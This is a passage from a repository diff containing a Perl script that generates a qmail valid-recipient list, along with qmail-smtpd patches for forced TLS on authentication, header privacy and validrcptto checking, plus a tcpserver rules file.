26# wasn't an issue for me, but somebody out there may be doing it, so...
27#
28# 2005-06-23 jms1 - changed the search pattern when reading "vuserinfo -D"
29# to get a vpopmail domain's mailbox list, instead of recognizing \w+
30# it now uses \S+ which should allow "." in mailbox names
31#
32# 2005-06-29 jms1 - translating ":" to "." in .qmail-* filenames... i forgot
33# that qmail-local does this. somebody emailed me to remind me about this,
34# but i can't find the email so i don't know who to thank for reminding me
35# about this...
36#
37# 2005-06-30 jms1 - when vpopmail stores everything in a mysql database,
38# aliases are apparently not represented by .qmail files at all. it looks
39# like we have no choice but to use the vpopmail command-line tools to
40# get the lists of mailboxes and aliases in the domain. thanks to Rob Pitt
41# for telling me that this wasn't working (i don't use vpopmail with mysql
42# so i had no way to know that this would be a problem.)
43#
44# 2005-07-17 jms1 - domains listed in smtproutes are currently listed as
45# just "@domain", meaning the entire domain is accepted without any checks
46# done for individual userid's. adding code so that you can create a
47# directory full of files named for the domains, containing userid's
48# which exist in that domain. thanks to roman volf for the suggestion.
49#
50# 2005-08-03 jms1 - turns out if vpopmail is compiled with support for mysql,
51# the "valias -s" command doesn't list aliases which exist by virtue of
52# .qmail-blah files... which rather sucks, because this is how ezmlm sets
53# up the aliases it needs, by creating .qmail-blah files. thanks again to
54# Roman Volf for pointing this out.
55#
56# 2005-10-24 jms1 - adding a "-n" switch to generate a list without the
57# system accounts (i.e. no "locals" or "me" domains will be printed.)
58# note that "fastforward" aliases are considered local, since they are
59# processed through the local delivery mechanism.
60#
61# 2005-11-29 jms1 - now treats missing vpopmail directory as a warning
62# rather than a fatal error.
63#
64# 2005-12-07 jms1 - after reviewing qmail-send.c and controls.c, it
65# turns out that the "me" becoming part of "locals" only happens if
66# the "control/locals" file does not exist... otherwise an empty
67# "control/locals" file means that there are no locals. updating the
68# script to duplicate this logic.
69# also replacing ":" with "." in .qmail filenames.
70# thanks to jeff hedlund for pointing me towards the "me" problem,
71# and for pointing out my oversight with the ":" thing.
72#
73# 2005-12-29 jms1 - adding an array of numeric uid's (empty by default)
74# which will be ignored when system uid's are scanned. thanks to
75# roman volf for the suggestion.
76#
77# 2006-01-08 jms1 - fixed a typo, thanks to "marlowe" for pointing it out.
78#
79# 2006-01-11 jms1 - vpopmail has a "--enable-qmail-ext" option which
80# changes how mailbox names are handled. if vpopmail is running WITH
81# this option, every vpopmail mailbox has an implied "-default" alias
82# whether there's a .qmail-user-default file there or not. thanks to
83# robin bowes for pointing this out.
84#
85# 2006-01-12 jms1 - making the script work correctly in the unlikely
86# case that the user-ext separator character was changed, either by
87# changing conf-break before compiling qmail, or specifying a custom
88# value in the users/cdb file.
89#
90# 2006-02-05 jms1 - adding an "exclude" list, for addresses which you
91# may not want to include in the output (i.e. private mailing list
92# aliases and things like that.) also fixed a bug in the code which
93# handles the user-ext separator character.
94#
95# 2006-03-26 jms1 - fixed a minor typo in the text of an error message
96# (which does not affect how the script works.) Thanks to Robin Bowes
97# for pointing it out.
98#
99# 2006-11-29 jms1 - adding logic to work around the case where users/cdb
100# just plain doesn't exist (which can happen on systems which don't use
101# vpopmail etc.) thanks to "Eric d'Alibut" on djb's qmail mailing list
102# for pointing it out.
103#
104###############################################################################
105#
106# Copyright (C) 2005-2006 John Simpson.
107#
108# This program is free software; you can redistribute it and/or modify
109# it under the terms of the GNU General Public License, version 2, as
110# published by the Free Software Foundation.
111#
112# This program is distributed in the hope that it will be useful,
113# but WITHOUT ANY WARRANTY; without even the implied warranty of
114# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
115# GNU General Public License for more details.
116#
117# You should have received a copy of the GNU General Public License
118# along with this program; if not, write to the Free Software
119# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
120# or visit http://www.gnu.org/licenses/gpl.txt
121#
122###############################################################################
123
124require 5.003 ;
125use strict ;
126
127use CDB_File ;
128
129###############################################################################
130#
131# configuration
132
133my $vq = "/var/qmail" ;
134my $vuser = "vpopmail" ; # vpopmail userid
135
136# any numeric uid's on the system which are lower than this will be ignored
137# this way we don't create entries for root, bin, daemon, lp, news, uucp,
138# and other non-used system users.
139my $uid_min = 500 ; # ignore uid's lower than this
140my $uid_max = 65000 ; # ignore uid's higher than this
141my @uid_ignore = qw ( ) ; # ignore any uid's listed in this array
142
143# any entries listed in this array will NOT be included in the output
144my @exclude = qw
145(
146 sample1@domain.xyz
147 sample2@domain.xyz
148) ;
149
150# if you have text files containing lists of valid mailboxes for smtproutes
151# domains, put them all into a single directory and put that directory in
152# the variable below.
153#
154# each line of each files should contain a mailbox userid- anything on the
155# line which comes after "#" or "@" is deleted, so you can use "#" for
156# comments if you like, and you can use a symlink (or hard link) to cause
157# one file to be effective for multiple domains.
158#
159# note that these files are only consulted for domains listed in the
160# smtproutes file. if this variable is blank, or it points to a directory
161# which doesn't exist, all smtproutes domains will be printed as "@domain",
162# which tells qmail-smtpd to accept any mailbox userid in that domain.
163
164my $smtpr_dir = "" ;
165
166###############################################################################
167#
168# global variables
169
170my ( %alldom , %ldom , %vdom , %sdom , %adom , %lusr , %ausr ,
171 %home , %MRH , %UCDB , @output , $ffl , %ACDB ) ;
172
173my $err = 0 ;
174my $lfound = 0 ;
175my $afound = 0 ;
176my $vfound = 0 ;
177my $showlocal = 1 ;
178my $need_untie = 0 ;
179
180my $vhome = "" ;
181my $vbin = "" ;
182my $vinc = "" ;
183my $vqext = "?" ;
184my $dash = "" ;
185my $gdash = "" ;
186
187###############################################################################
188#
189# debugging function
190
191my $show_debug = 0 ;
192
193sub debug($)
194{
195 $show_debug && print $_[0] ;
196}
197
198###############################################################################
199#
200# function to read /var/qmail/alias/.qmail-default
201
202sub find_ffl($)
203{
204 my $file = shift ;
205
206 my $flagdeliver = 1 ;
207 my $flagpassthrough = 0 ;
208 my $flagdefault = 0 ;
209
210 if ( open ( DQD , "<$file" ) )
211 {
212 while ( my $line = <DQD> )
213 {
214 chomp $line ;
215 next unless ( $line =~ /^\|.*fastforward/ ) ;
216
217 $line =~ s/^.*fastforward\s+// ;
218 my @dw = split ( /\s+/ , $line ) ;
219 while ( my $zz = shift @dw )
220 {
221 next if ( $zz =~ /^\-/ ) ;
222 $ffl = $zz ;
223 last ;
224 }
225
226 last if ( $ffl ) ;
227 }
228 close DQD ;
229 }
230}
231
232###############################################################################
233###############################################################################
234###############################################################################
235
236my $arg = ( shift || "" ) ;
237if ( "-n" eq $arg )
238{
239 $showlocal = 0 ;
240}
241
242###############################################################################
243#
244# only interested in domains for which we legitimately receive mail
245
246open ( I , "<$vq/control/rcpthosts" )
247 or die "$vq/control/rcpthosts: $!\n" ;
248while ( my $line = <I> )
249{
250 chomp $line ;
251 $alldom{$line} = 1 ;
252}
253close I ;
254
255open ( I , "<$vq/control/morercpthosts" )
256 or die "$vq/control/morercpthosts: $!\n" ;
257while ( my $line = <I> )
258{
259 chomp $line ;
260 $alldom{$line} = 1 ;
261}
262close I ;
263
264if ( -f "$vq/control/morercpthosts.cdb" )
265{
266 tie ( %MRH , "CDB_File" , "$vq/control/morercpthosts.cdb" )
267 or die "$vq/control/morercpthosts: $!\n" ;
268 map { $alldom{$_} = 1 } keys %MRH ;
269 untie %MRH ;
270}
271
272###############################################################################
273#
274# classify each one as local, virtual, or pass-thru
275#
276# note that if the control/locals file does not exist, the name listed
277# in the control/me file is used as if control/locals contained the
278# data.
279
280if ( -f "$vq/control/locals" )
281{
282 open ( I , "<$vq/control/locals" )
283 or die "$vq/control/locals: $!\n" ;
284 while ( my $line = <I> )
285 {
286 chomp $line ;
287
288 ########################################
289 # ignore any that we don't actually receive mail for
290
291 next unless ( exists $alldom{$line} ) ;
292 delete $alldom{$line} ;
293
294 ########################################
295 # mark this one as local
296
297 $ldom{$line} = 1 ;
298 $lfound ++ ;
299 $afound ++ ;
300 }
301 close I ;
302}
303elsif ( -f "$vq/control/me" )
304{
305 open ( I , "<$vq/control/me" )
306 or die "$vq/control/me: $!\n" ;
307 while ( my $line = <I> )
308 {
309 chomp $line ;
310
311 ########################################
312 # ignore any that we don't actually receive mail for
313
314 next unless ( exists $alldom{$line} ) ;
315 delete $alldom{$line} ;
316
317 ########################################
318 # mark this one as local
319
320 $ldom{$line} = 1 ;
321 $lfound ++ ;
322 $afound ++ ;
323 }
324 close I ;
325}
326
327if ( -f "$vq/control/virtualdomains" )
328{
329 open ( I , "<$vq/control/virtualdomains" )
330 or die "$vq/control/virtualdomains: $!\n" ;
331 while ( my $line = <I> )
332 {
333 chomp $line ;
334
335 ########################################
336 # extract the domain name
337
338 my ( $dom , $zu ) = split ( /\s*\:\s*/ , $line ) ;
339 $dom || die "error in $vq/control/virtualdomains\n$line\n" ;
340
341 ########################################
342 # ignore any that we don't actually receive mail for
343
344 next unless ( exists $alldom{$dom} ) ;
345 delete $alldom{$dom} ;
346
347 ########################################
348 # check the userid
349
350 if ( $zu eq "alias" )
351 {
352 ########################################
353 # if the domain is handled by the qmail "alias"
354 # user, then it needs alias processing
355
356 $adom{$dom} = 1 ;
357 $afound ++ ;
358 }
359 else
360 {
361 ########################################
362 # mark this one as a virtual domain
363 # and remember the full line, we will need it later
364
365 $vdom{$dom} = $line ;
366 $vfound ++ ;
367 }
368 }
369 close I ;
370}
371
372if ( -f "$vq/control/smtproutes" )
373{
374 open ( I , "<$vq/control/smtproutes" )
375 or die "$vq/control/smtproutes: $!\n" ;
376 while ( my $line = <I> )
377 {
378 chomp $line ;
379
380 ########################################
381 # extract the domain name
382
383 $line =~ s/\:.*// ;
384
385 ########################################
386 # ignore lines with no domain (default instruction)
387
388 next unless $line ;
389
390 ########################################
391 # ignore any that we don't actually receive mail for
392
393 next unless ( exists $alldom{$line} ) ;
394 delete $alldom{$line} ;
395
396 ########################################
397 # mark this one as an smtproutes domain
398
399 $sdom{$line} = 1 ;
400 }
401 close I ;
402}
403
404###############################################################################
405#
406# catch leftovers - domains which come into the machine but are not handled
407
408for my $d ( sort keys %alldom )
409{
410 print "ERROR: $d is listed in rcpthosts/morercpthosts.cdb"
411 . " but is not handled by the server.\n" ;
412 $err ++ ;
413}
414
415$err && die "Cannot continue.\n" ;
416
417###############################################################################
418#
419# start generating output.
420#
421# smtproutes domains - if a directory was specified, and it exists, and a
422# file for the domain exists, read userid's from the file and generate
423# "userid@domain" lines... otherwise just generate a single "@domain" line.
424
425for my $d ( sort keys %sdom )
426{
427 if ( $smtpr_dir && ( -d $smtpr_dir ) && ( -f "$smtpr_dir/$d" ) )
428 {
429 open ( I , "<$smtpr_dir/$d" )
430 or die "Can\'t read $smtpr_dir/$d: $!\n" ;
431 while ( my $line = <I> )
432 {
433 chomp $line ;
434 $line =~ s/#.*// ;
435 $line =~ s/\@.*// ;
436 $line =~ s/^\s+// ;
437 $line =~ s/\s+$// ;
438 next unless ( $line ) ;
439 push ( @output , "$line\@$d" ) ;
440 }
441 close I ;
442 }
443 else
444 {
445 push ( @output, "\@$d" ) ;
446 }
447}
448
449###############################################################################
450#
451# local domains - all system accounts and aliases, in each local domain
452
453if ( $lfound || $afound )
454{
455 ########################################
456 # need the global "dash" character
457
458 unless ( $gdash )
459 {
460 open ( GD , "$vq/bin/qmail-showctl |" )
461 or die "Can\'t run qmail-showctl: $!\n" ;
462 while ( my $gdline = <GD> )
463 {
464 if ( $gdline =~ /user\-ext delimiter\: (.)/ )
465 {
466 $gdash = $1 ;
467 last ;
468 }
469 }
470 close GD ;
471 }
472}
473
474if ( $lfound )
475{
476 ########################################
477 # turn array into hash for speed
478
479 my %ig = () ;
480 map { $ig{$_} = "" } @uid_ignore ;
481
482 ########################################
483 # grab a list of system accounts
484
485 while ( my @pw = getpwent() )
486 {
487 next if ( $pw[2] < $uid_min ) ; # ignore system accounts
488 next if ( $pw[2] > $uid_max ) ; # ignore "nobody" accounts
489 next if ( exists $ig{$pw[2]} ) ; # ignore special accounts
490 next unless ( $pw[2] ) ; # no deliveries to root
491 $lusr{$pw[0]} = 1 ;
492
493 if ( opendir ( D , $pw[7] ) )
494 {
495 while ( my $f = readdir D )
496 {
497 next unless ( $f =~ /^\.qmail${gdash}(.+)/ ) ;
498 my $zu = $1 ;
499 $zu =~ s/\:/./g ;
500 $lusr{"$pw[0]${gdash}$zu"} = 1 ;
501 }
502 closedir D ;
503 }
504 }
505}
506
507if ( $showlocal && ( $lfound || $afound ) )
508{
509 ########################################
510 # grab a list of aliases
511
512 opendir ( D , "$vq/alias" )
513 or die "$vq/alias: $!\n" ;
514 while ( my $f = readdir ( D ) )
515 {
516 next unless ( $f =~ /^\.qmail${gdash}(.*)/ ) ;
517 my $u = $1 ;
518
519 if ( $u eq "default" )
520 {
521 find_ffl ( "$vq/alias/.qmail${gdash}default" ) ;
522 }
523 else
524 {
525 $u =~ s/\:/./g ;
526 $ausr{$u} = 1 ;
527 }
528 }
529 closedir D ;
530
531 ########################################
532 # if we found a fastforward file, grab those aliases as well
533
534 if ( $ffl )
535 {
536 tie ( %ACDB , "CDB_File" , $ffl )
537 or die "$ffl: $!\n" ;
538
539 for my $k ( keys %ACDB )
540 {
541 next unless ( $k =~ /^\:(.*)\@(.*)$/ ) ;
542 my ( $au , $ad ) = ( $1 , $2 ) ;
543
544 if ( $ad )
545 {
546 next unless ( exists ( $adom{$ad} )
547 || exists ( $ldom{$ad} ) ) ;
548 push ( @output , "$au\@$ad" ) ;
549 }
550 else
551 {
552 $ausr{$au} = 1 ;
553 }
554 }
555
556 untie %ACDB ;
557 }
558
559 ########################################
560 # generate output.
561 # local domains get every system user AND every alias user
562
563 for my $dd ( sort keys %ldom )
564 {
565 map { push ( @output , "$_\@$dd" ) } sort keys %lusr ;
566 map { push ( @output , "$_\@$dd" ) } sort keys %ausr ;
567 }
568
569 ########################################
570 # alias domains get every alias user
571
572 for my $dd ( sort keys %adom )
573 {
574 map { push ( @output , "$_\@$dd" ) } sort keys %ausr ;
575 }
576}
577
578###############################################################################
579#
580# virtual domains - a little more complicated.
581
582if ( $vfound )
583{
584 #######################################################################
585 #
586 # the virtualdomains file contains a mapping from the domain name to a
587 # userid, which may be a system account and may be a virtual userid
588 # defined in the $vq/users/assign file.
589 #
590 # vpopmail normally uses the domain name as the virtual userid for
591 # this purpose, but we want to be flexible enough to handle other
592 # cases as well.
593 #
594 # in order to deal with this extra layer of indirection, we need to
595 # read the users/cdb file. and because it's a cdb, we don't even need
596 # to read the whole thing- we just need to open it so that we can
597 # search it.
598
599 if ( -f "$vq/users/cdb" )
600 {
601 tie ( %UCDB , "CDB_File" , "$vq/users/cdb" )
602 or die "$vq/users/cdb: $!\n" ;
603 $need_untie = 1 ;
604 }
605 else
606 {
607 %UCDB = () ;
608 }
609
610 my $wc = ( $UCDB{""} || "" ) ;
611
612 #######################################################################
613 #
614 # now we have the list of users/assign virtual users (if any), we need
615 # to identify the home directory, real or virutal, for the user.
616
617 for my $dom ( sort keys %vdom )
618 {
619 $vdom{$dom} =~ /\:(.*)$/ ;
620 my $usr = $1 ;
621
622 my %vusr = () ;
623 my $dir = "" ;
624 my $vpopmail = 0 ;
625
626 ########################################
627 # note that in cases where a given "userid" exists as both a
628 # system userid and a virtual userid, the virtual userid takes
629 # precedence (according to the qmail-lspawn man page.)
630 # this is why we saved the home directories above.
631
632 if ( exists $UCDB{"!$usr$wc"} )
633 {
634 my @w = split ( /\0/ , $UCDB{"!$usr$wc"} ) ;
635 $dir = ( $w[3] || die "mis-formed users/cdb data:"
636 . " $usr\n" ) ;
637 $dash = ( $w[4] || "" ) ;
638 }
639 else
640 {
641 if ( my @pw = getpwnam ( $usr ) )
642 {
643 $dir = $pw[7] ;
644 }
645 }
646
647 die "ERROR: virtual user \"$usr\" not found"
648 . " (for virtualdomain \"$dom\")\n"
649 unless ( $dir ) ;
650
651 ########################################
652 # now we know which directory to look in. check for a
653 # ".qmail-default" file. if it contains "vdelievermail", we
654 # know that vpopmail is in control here... and if the
655 # vdelivermail line also has "bounce-no-mailbox", we need
656 # the list of individual users. otherwise we can just
657 # blindly accept the entire domain.
658
659 unless ( -r $dir )
660 {
661 print STDERR "Can\'t read directory $dir"
662 . " (for vpopmail domain \"$dom\")\n" ;
663 next ;
664 }
665
666 if ( -f "$dir/.qmail${dash}default" )
667 {
668 open ( V , "<$dir/.qmail${dash}default" )
669 or die "$dir/.qmail${dash}default: $!\n" ;
670
671 while ( my $line = <V> )
672 {
673 if ( $line =~ /vdelivermail.*(bounce\-no\-mailbox|delete)/ )
674 {
675 $vpopmail = 1 ;
676 }
677 }
678 close V ;
679 }
680
681 ########################################
682 # if we need the users...
683
684 if ( $vpopmail )
685 {
686 ########################################
687 # if we don't already know where it is,
688 # find the vpopmail user's "/bin" directory.
689
690 unless ( $vhome )
691 {
692 my @pw = getpwnam ( $vuser )
693 or die "getpwnam($vuser): $!\n" ;
694 $vhome = $pw[7] ;
695 $vbin = "$vhome/bin" ;
696 $vinc = "$vhome/include" ;
697
698 die "Can\'t find $vbin/vuserinfo: $!\n"
699 unless ( -e "$vbin/vuserinfo" ) ;
700 }
701
702 ########################################
703 # if we don't already know, find out if
704 # vpopmail was built with --enable-qmail-ext
705
706 if ( $vqext eq "?" )
707 {
708 $vqext = "no" ;
709 open ( VCH , "<$vinc/vpopmail_config.h" )
710 or die ( "Can\'t read "
711 . "$vinc/vpopmail_config.h: $!\n" ) ;
712
713 while ( my $vcl = <VCH> )
714 {
715 next unless ( $vcl =~ /^#define QMAIL_EXT 1/ ) ;
716 $vqext = "yes" ;
717 last ;
718 }
719 close VCH ;
720 debug "vqext=$vqext\n" ;
721 }
722
723 ########################################
724 # run "vuserinfo -D {domain}" to get a list of
725 # actual mailboxes within the domain.
726
727 debug "/----- $vbin/vuserinfo -D $dom\n" ;
728 open ( VP , "$vbin/vuserinfo -D $dom |" )
729 or die "Can\'t execute $vbin/vuserinfo: $!\n" ;
730 while ( my $line = <VP> )
731 {
732 debug $line ;
733 next unless ( $line =~ /^name\:\s+(\S+)/ ) ;
734 my $u = $1 ;
735 $vusr{$u} = $u ;
736 debug "\t[$u]" ;
737 if ( $vqext eq "yes" )
738 {
739 $vusr{"$u${dash}default"} =
740 "$u${dash}default" ;
741 debug " [$u${dash}default]" ;
742 }
743 debug "\n" ;
744 }
745 close VP ;
746 debug "\\-----\n" ;
747
748 ########################################
749 # run "valias -s {domain}" to get a list of
750 # aliases within the domain.
751
752 debug "/----- $vbin/valias -s $dom\n" ;
753 open ( VP , "$vbin/valias -s $dom |" )
754 or die "Can\'t execute $vbin/valias: $!\n" ;
755 while ( my $line = <VP> )
756 {
757 debug $line ;
758 next unless ( $line =~ /^(.+?)\@/ ) ;
759 my $u = $1 ;
760 $vusr{$u} = $u ;
761 debug "\t[$u]\n" ;
762 }
763 close VP ;
764 debug "\\-----\n" ;
765
766 ########################################
767 # read the directory itself. any .qmail-___ files are
768 # also valid aliases within the domain, even if
769 # "valias" doesn't seem to know about them.
770
771 opendir ( D , $dir )
772 or die "$dir: $!\n" ;
773 while ( my $f = readdir ( D ) )
774 {
775 if ( $f =~ /^\.qmail${dash}(.*)/ )
776 {
777 my $u = $1 ;
778 next if ( $u eq "default" ) ;
779 $u =~ s/\:/./g ;
780 $vusr{$u} = $u ;
781 }
782 }
783 closedir D ;
784
785 ########################################
786 # now %vusr contains a list of all valid email
787 # addresses within the domain.
788
789 map { push ( @output , "$_\@$dom" ) ;
790 debug "{$_\@$dom}\n" } sort keys %vusr ;
791 }
792 else
793 {
794 ########################################
795 # virtual domain, but either it's not handled by
796 # vpopmail, or there is something going on with
797 # itother than "bounce-no-mailbox", which means
798 # we don't need the full list of mailboxes.
799
800 push ( @output , "\@$dom" ) ;
801 }
802 }
803
804 if ( $need_untie )
805 {
806 untie %UCDB ;
807 $need_untie = 0 ;
808 }
809}
810
811###############################################################################
812#
813# if we make it this far, we have no errors and can print the list.
814# we need to filter out any "exclude" entries
815
816my %ex = () ;
817map { $ex{lc $_} = "" } @exclude ;
818
819for my $k ( @output )
820{
821 $k = lc $k ;
822 unless ( exists $ex{$k} )
823 {
824 print "$k\n" ;
825 }
826}
diff --git a/files/arts/software/Code/elektropost/qmail-smtpd.c.force.tls.patch b/files/arts/software/Code/elektropost/qmail-smtpd.c.force.tls.patch
new file mode 100644
index 0000000..8eb4132
--- /dev/null
+++ b/files/arts/software/Code/elektropost/qmail-smtpd.c.force.tls.patch
@@ -0,0 +1,42 @@
1*** qmail-smtpd.c.orig Thu Jan 9 16:24:52 2014
2--- qmail-smtpd.c Thu Jan 9 16:30:52 2014
3***************
4*** 42,47 ****
5--- 42,48 ----
6 int tls_verify();
7 void tls_nogateway();
8 int ssl_rfd = -1, ssl_wfd = -1; /* SSL_get_Xfd() are broken */
9+ int forcetls = 0;
10 #endif
11
12 int safewrite(fd,buf,len) int fd; char *buf; int len;
13***************
14*** 700,705 ****
15--- 701,709 ----
16 if (!stralloc_0(&proto)) die_nomem();
17 protocol = proto.s;
18
19+ /* Check if we have to force users to use ssl when authenticating */
20+ if(control_readint(&forcetls,"control/smtpforcetls") == -1) die_control();
21+
22 /* have to discard the pre-STARTTLS HELO/EHLO argument, if any */
23 dohelo(remotehost);
24 }
25***************
26*** 894,899 ****
27--- 898,912 ----
28 out("503 auth not available (#5.3.3)\r\n");
29 return;
30 }
31+ #ifdef TLS
32+ if (forcetls && !ssl)
33+ {
34+ out("538 auth not available without TLS (#5.3.3)\r\n");
35+ flush();
36+ die_read();
37+ }
38+ #endif
39+
40 if (authd) { err_authd(); return; }
41 if (seenmail) { err_authmail(); return; }
42
diff --git a/files/arts/software/Code/elektropost/qmail-smtpd.c.privacy.patch b/files/arts/software/Code/elektropost/qmail-smtpd.c.privacy.patch
new file mode 100644
index 0000000..d9ba4fd
--- /dev/null
+++ b/files/arts/software/Code/elektropost/qmail-smtpd.c.privacy.patch
@@ -0,0 +1,31 @@
1--- qmail-smtpd.c 2009-07-21 23:32:27.000000000 +0200
2+++ qmail-smtpd.c 2009-07-21 23:30:48.000000000 +0200
3@@ -34,7 +34,7 @@
4 unsigned int databytes = 0;
5 int timeout = 1200;
6 unsigned int spfbehavior = 0;
7-
8+static int authd = 0;
9 const char *protocol = "SMTP";
10
11 #ifdef TLS
12@@ -614,7 +614,10 @@
13 qp = qmail_qp(&qqt);
14 out("354 go ahead\r\n");
15
16- received(&qqt,protocol,local,remoteip,remotehost,remoteinfo,fakehelo);
17+ if(!authd)
18+ received(&qqt,protocol,local,remoteip,remotehost,remoteinfo,fakehelo);
19+ else
20+ received(&qqt,protocol,local,remoteinfo,local,0,local);
21 spfreceived();
22 blast(&hops);
23 hops = (hops >= MAXHOPS);
24@@ -839,7 +842,6 @@
25 char **childargs;
26 substdio ssup;
27 char upbuf[128];
28-int authd = 0;
29
30 int authgetl(void) {
31 int i;
diff --git a/files/arts/software/Code/elektropost/tcp.smtp b/files/arts/software/Code/elektropost/tcp.smtp
new file mode 100644
index 0000000..81e47fa
--- /dev/null
+++ b/files/arts/software/Code/elektropost/tcp.smtp
@@ -0,0 +1,14 @@
1# Das hier sind die rulez fuer den tcpserver (ucspi) der den qmail-smtpd startet
2# als relay fungiert <host> nur fuer localhost und <insert-local-nets here>.
3# Alle anderen duerfen zwar senden, aber nur an domains, die in
4# /var/qmail/control/rcpthosts stehen.
5#
6# Diese Datei muss mittels
7#
8# "cat /usr/local/vpopmail/etc/tcp.smtp | tcprules /usr/local/vpopmail/etc/tcp.smtp.cdb /usr/local/vpopmail/etc/tcp.smtp.tmp"
9#
10# "kompiliert" werden.
11#
12:allow
13#127.0.0.1:allow,RELAYCLIENT=""
14#192.168.0.1:allow,RELAYCLIENT=""
diff --git a/files/arts/software/Code/elektropost/validrcptto.cdb.patch.new b/files/arts/software/Code/elektropost/validrcptto.cdb.patch.new
new file mode 100644
index 0000000..bbd1eb4
--- /dev/null
+++ b/files/arts/software/Code/elektropost/validrcptto.cdb.patch.new
@@ -0,0 +1,153 @@
1--- Makefile.old Mon Dec 4 03:33:09 2006
2+++ Makefile Mon Dec 4 03:35:01 2006
3@@ -1558,15 +1558,15 @@
4
5 qmail-smtpd: \
6 load qmail-smtpd.o rcpthosts.o commands.o timeoutread.o \
7-timeoutwrite.o ip.o ipme.o ipalloc.o strsalloc.o control.o constmap.o \
8+timeoutwrite.o ip.o ipme.o ipalloc.o subfderr.o strsalloc.o control.o constmap.o \
9 received.o date822fmt.o now.o qmail.o spf.o dns.o cdb.a fd.a wait.a \
10-datetime.a getln.a open.a sig.a case.a env.a stralloc.a alloc.a substdio.a \
11+datetime.a getln.a open.a sig.a case.a env.a strerr.a stralloc.a alloc.a substdio.a \
12 error.a str.a fs.a auto_qmail.o base64.o socket.lib dns.lib
13 ./load qmail-smtpd rcpthosts.o commands.o timeoutread.o \
14- timeoutwrite.o ip.o ipme.o ipalloc.o strsalloc.o control.o \
15+ timeoutwrite.o ip.o ipme.o ipalloc.o subfderr.o strsalloc.o control.o \
16 tls.o ssl_timeoutio.o ndelay.a -L/usr/lib -lssl -lcrypto \
17 constmap.o received.o date822fmt.o now.o qmail.o spf.o dns.o cdb.a \
18- fd.a wait.a datetime.a getln.a open.a sig.a case.a env.a stralloc.a \
19+ fd.a wait.a datetime.a getln.a open.a sig.a case.a env.a strerr.a stralloc.a \
20 alloc.a substdio.a error.a fs.a auto_qmail.o base64.o \
21 str.a `cat socket.lib` `cat dns.lib`
22
23@@ -1579,7 +1579,7 @@
24 substdio.h alloc.h auto_qmail.h control.h received.h constmap.h \
25 error.h ipme.h ip.h ipalloc.h strsalloc.h ip.h gen_alloc.h ip.h qmail.h \
26 substdio.h str.h fmt.h scan.h byte.h case.h env.h now.h datetime.h \
27-exit.h rcpthosts.h timeoutread.h timeoutwrite.h commands.h wait.h spf.h \
28+exit.h rcpthosts.h timeoutread.h timeoutwrite.h commands.h wait.h spf.h cdb.h uint32.h \
29 fd.h base64.h
30 ./compile qmail-smtpd.c
31
32--- qmail-smtpd.c.old Mon Dec 4 03:36:22 2006
33+++ qmail-smtpd.c Mon Dec 4 03:44:49 2006
34@@ -26,6 +26,8 @@
35 #include "wait.h"
36 #include "fd.h"
37 #include "spf.h"
38+#include "strerr.h"
39+#include "cdb.h"
40
41 #define AUTHCRAM
42 #define MAXHOPS 100
43@@ -99,6 +101,7 @@
44 int err_noauth() { out("504 auth type unimplemented (#5.5.1)\r\n"); return -1; }
45 int err_authabrt() { out("501 auth exchange cancelled (#5.0.0)\r\n"); return -1; }
46 int err_input() { out("501 malformed auth input (#5.5.4)\r\n"); return -1; }
47+void err_vrt() { out("553 sorry, this recipient is not in my validrcptto list (#5.7.1)\r\n"); }
48
49 stralloc greeting = {0};
50 stralloc spflocal = {0};
51@@ -139,6 +142,7 @@
52 int bmfok = 0;
53 stralloc bmf = {0};
54 struct constmap mapbmf;
55+int vrtfd = -1;
56
57 void setup()
58 {
59@@ -155,6 +159,9 @@
60
61 if (rcpthosts_init() == -1) die_control();
62
63+ vrtfd = open_read("control/validrcptto.cdb");
64+ if (-1 == vrtfd) if (errno != error_noent) die_control();
65+
66 bmfok = control_readfile(&bmf,"control/badmailfrom",0);
67 if (bmfok == -1) die_control();
68 if (bmfok)
69@@ -269,6 +276,60 @@
70 return 0;
71 }
72
73+int vrtcheck()
74+{
75+ int j,k,r;
76+ uint32 dlen;
77+ stralloc laddr = {0};
78+
79+ stralloc user = {0};
80+ stralloc adom = {0};
81+ stralloc utry = {0};
82+
83+ if (-1 == vrtfd) return 1;
84+
85+ /* lowercase whatever we were sent */
86+ if (!stralloc_copy(&laddr,&addr)) die_nomem() ;
87+ case_lowerb(laddr.s,laddr.len);
88+
89+ /* exact match? */
90+ r = cdb_seek(vrtfd,laddr.s,laddr.len-1,&dlen) ;
91+ if (r>0) return r;
92+
93+ j = byte_rchr(laddr.s,laddr.len,'@');
94+ if (j < laddr.len)
95+ {
96+ /* start "-default" search loop */
97+ stralloc_copyb(&user,laddr.s,j) ;
98+ stralloc_copyb(&adom,laddr.s+j,laddr.len-j-1);
99+
100+ while(1)
101+ {
102+ k = byte_rchr(user.s,user.len,'-');
103+ if (k >= user.len) break ;
104+
105+ user.len = k+1;
106+ stralloc_cats(&user,"default");
107+
108+ stralloc_copy(&utry,&user);
109+ stralloc_cat (&utry,&adom);
110+ stralloc_0(&utry);
111+
112+ r = cdb_seek(vrtfd,utry.s,utry.len-1,&dlen);
113+ if (r>0) return r;
114+
115+ user.len = k ;
116+ }
117+
118+ /* try "@domain" */
119+ r = cdb_seek(vrtfd,laddr.s+j,laddr.len-j-1,&dlen) ;
120+ if (r>0) return r;
121+ }
122+
123+ return 0;
124+}
125+
126+
127 int addrallowed()
128 {
129 int r;
130@@ -280,7 +341,6 @@
131 return r;
132 }
133
134-
135 int seenmail = 0;
136 int flagbarf; /* defined if seenmail */
137 int flagbarfspf;
138@@ -402,8 +462,14 @@
139 if (!stralloc_cats(&addr,relayclient)) die_nomem();
140 if (!stralloc_0(&addr)) die_nomem();
141 }
142- else
143+ else {
144 if (!addrallowed()) { err_nogateway(); return; }
145+ if (!vrtcheck()) {
146+ strerr_warn4("qmail-smtpd: not in validrcptto: ",addr.s,
147+ " at ",remoteip,0);
148+ err_vrt(); return;
149+ }
150+ }
151 if (!stralloc_cats(&rcptto,"T")) die_nomem();
152 if (!stralloc_cats(&rcptto,addr.s)) die_nomem();
153 if (!stralloc_0(&rcptto)) die_nomem();
diff --git a/files/arts/software/Code/vchat-client b/files/arts/software/Code/vchat-client
new file mode 100755
index 0000000..ab1c6f3
--- /dev/null
+++ b/files/arts/software/Code/vchat-client
Binary files differ
diff --git a/files/arts/software/etherpad/etherpad b/files/arts/software/etherpad/etherpad
new file mode 100755
index 0000000..78ceebb
--- /dev/null
+++ b/files/arts/software/etherpad/etherpad
@@ -0,0 +1,35 @@
1#!/bin/sh
